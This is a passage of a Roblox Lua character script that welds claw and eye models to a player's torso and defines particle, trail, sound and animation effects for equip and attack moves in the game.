0.400000006, 1)) Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) local modelzorzz2=Instance.new("Model") modelzorzz2.Parent=Character modelzorzz2.Name="Claw2" Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) local modelzorzz3=Instance.new("Model") modelzorzz3.Parent=Character modelzorzz3.Name="Eye" handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) p = game.Players.LocalPlayer char = p.Character torso = char.Torso neck = char.Torso.Neck hum = char.Humanoid hum.MaxHealth = 6666666 wait() hum.Health =hum.MaxHealth CamShake(RootPart,27,3.5,150) local particleemitter = Instance.new("ParticleEmitter", Handle) particleemitter.VelocitySpread = 180 particleemitter.Lifetime = NumberRange.new(0.1) particleemitter.Speed = NumberRange.new(2) particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) particleemitter.RotSpeed = NumberRange.new(-45, 45) particleemitter.Rate = 100 particleemitter.Rotation = NumberRange.new(-45, 45) particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) particleemitter.LightEmission = 0.8 particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) local particleemitter = Instance.new("ParticleEmitter", Handle2) particleemitter.VelocitySpread = 180 particleemitter.Lifetime = NumberRange.new(0.1) particleemitter.Speed = NumberRange.new(2) particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) particleemitter.RotSpeed = NumberRange.new(-45, 45) particleemitter.Rate = 100 particleemitter.Rotation = NumberRange.new(-45, 45) particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) particleemitter.LightEmission = 0.8 particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) local particleemitter = Instance.new("ParticleEmitter", handle) particleemitter.VelocitySpread = 180 particleemitter.Lifetime = NumberRange.new(0.1) particleemitter.Speed = NumberRange.new(2) particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) particleemitter.RotSpeed = NumberRange.new(-45, 45) particleemitter.Rate = 100 particleemitter.Rotation = NumberRange.new(-45, 45) particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) particleemitter.LightEmission = 0.8 particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) particleemitter.Enabled = true MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025) MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025) so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475) so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75) for i=0,1,0.005 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) end for i=0,1,0.04 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) end attack = false end end end) function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) prt.Anchored=true prt.CFrame=cframe local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) game:GetService("Debris"):AddItem(prt,2) coroutine.resume(coroutine.create(function(Part,Mesh) for i=0,1,delay do wait() Part.CFrame=Part.CFrame Part.Transparency=i Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) end Part.Parent=nil end),prt,msh) end TrailDeb = false function equipanim() attack=true Humanoid.WalkSpeed = 0 if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = handle.CFrame.p while wait()do if not TrailDeb then break end local New = handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() coroutine.wrap(function() local Old = Handle2.CFrame.p while wait()do if not TrailDeb then break end local New = Handle2.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) for i=0,1,0.005 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) end for i=0,1,0.005 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) end so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) for i=0,1,0.005 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) end for i=0,1,0.04 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) end --dmgstop() attack=false Humanoid.WalkSpeed = 12 if TrailDeb == true then TrailDeb = false end end function attackone() attack=true if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) for i=0,1,0.08 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) end --dmgstop() attack=false con1:disconnect() if TrailDeb == true then TrailDeb = false end end function attacktwo() attack=true if TrailDeb == false then TrailDeb = true end 